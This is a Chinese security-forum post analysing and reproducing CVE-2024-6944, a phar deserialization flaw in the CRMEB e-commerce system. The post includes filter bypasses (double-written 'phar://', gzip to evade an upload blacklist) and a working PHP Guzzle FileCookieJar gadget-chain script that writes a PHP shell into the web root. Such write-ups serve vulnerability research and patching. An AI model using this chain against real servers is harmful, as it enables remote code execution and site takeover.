问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2024-6944 CRMEB电商系统 反序列化漏洞分析
漏洞分析
钟邦科技CRMEB 5.4.0版本中发现一个关键漏洞。PublicController.php文件中的get_image_base64函数会导致反序列化。
一、漏洞简介 ====== 钟邦科技CRMEB 5.4.0版本中发现一个关键漏洞。受影响的是PublicController.php文件中的get\_image\_base64函数。参数文件的操作会导致反序列化。攻击可能远程发起。该漏洞已被公开披露并可能被利用。 二、影响版本 ====== <= v5.4.0 三、漏洞原理分析 ======== 根据漏洞信息定位 `get_image_base64` 函数的路由文件 `app\api\route\v1.php`  该路由需要认证用户权限,所以该漏洞前提需要用户认证token  回到漏洞函数中,该函数通过POST接收 `image` 和 `code` 参数并分别赋值给 `imageUrl` 和 `codeUrl` 参数。两个参数必须含有 `png,jpg,jpeg,gif` 且 `imageUrl` 不能含有`phar://` 字段 接着通过CacheService缓存此codeUrl,同时引入两个重要函数 `image_to_base64` 和 `put_image`  首先看put\_image函数,接受可控的codeUrl参数,其中`readfile`明显是一个触发phar反序列化的函数,此处也是最终触发反序列化的点,但在此之前会将 `phar://` 替换为空,可以双写 `phar://` 进行绕过  再看image\_to\_base64函数,整个函数以codeUrl为地址执行一个curl请求,失败返回false  回看 `get_image_base64` 要想执行到put\_image,需要image\_to\_base64返回 `false` 而curl在处理phar协议时会返回false,一切顺理成章。 触发点已经搞清楚了,接下来要构造反序列化链达到写shell/RCE的目的,目前从项目拉取下来的是 ThinkPHPv6.1.2  全局搜索 `__destruct()`,在 `vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php` 找到一个文件写入操作,通过save方法实现任意文件写入  最后只需要一个文件上传点即可,可以通过注册用户然后上传头像  在上传处存在文件内容检测,会对常见反序列化类名做黑名单,不过对于phar文件可以使用gzip压缩来绕过该黑名单检测  四、环境搭建 ====== 1.下载源码 ```php https://github.com/crmeb/CRMEB ``` 2.配置phpstudy  3.配置伪静态 ```js <IfModule mod_rewrite.c> Options +FollowSymlinks -Multiviews RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php?/$1 [QSA,PT,L] </IfModule> ```  4.开启网站后访问 <http://localhost/install/> 正常流程安装  5.完成安装  五、漏洞复现 ====== 1.生成phar文件并gzip压缩 ```js <?php namespace GuzzleHttp\Cookie{ class SetCookie { function __construct() { $this->data['Expires'] = '<?php phpinfo();?>'; $this->data['Discard'] = 0; } } class CookieJar{ private $cookies = []; private $strictMode; function __construct() { $this->cookies[] = new SetCookie(); } } class FileCookieJar extends CookieJar { private $filename; private $storeSessionCookies; function __construct() { parent::__construct(); $this->filename = "D:/phpstudy/WWW/crmeb/public/shell.php"; $this->storeSessionCookies = true; } } } namespace{ $exp = new GuzzleHttp\Cookie\FileCookieJar(); $phar = new Phar('test.phar'); $phar -> stopBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar -> addFromString('test.txt','test'); $phar -> setMetadata($exp); $phar -> stopBuffering(); rename('test.phar','test.jpg'); } ?> ``` gzip压缩文件 ```php gzip test.jpg ``` 注册用户上传头像   触发phar反序列化  成功写入  六、总结 ==== 通过双写绕过、gzip绕过等phar反序列化知识点,达到了前台写shell,在代码审计中扩宽了攻击面。
发表于 2024-10-23 09:30:02
阅读 ( 8234 )
分类:
CMS
3 推荐
收藏
0 条评论
请先
登录
后评论
Y0ng
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!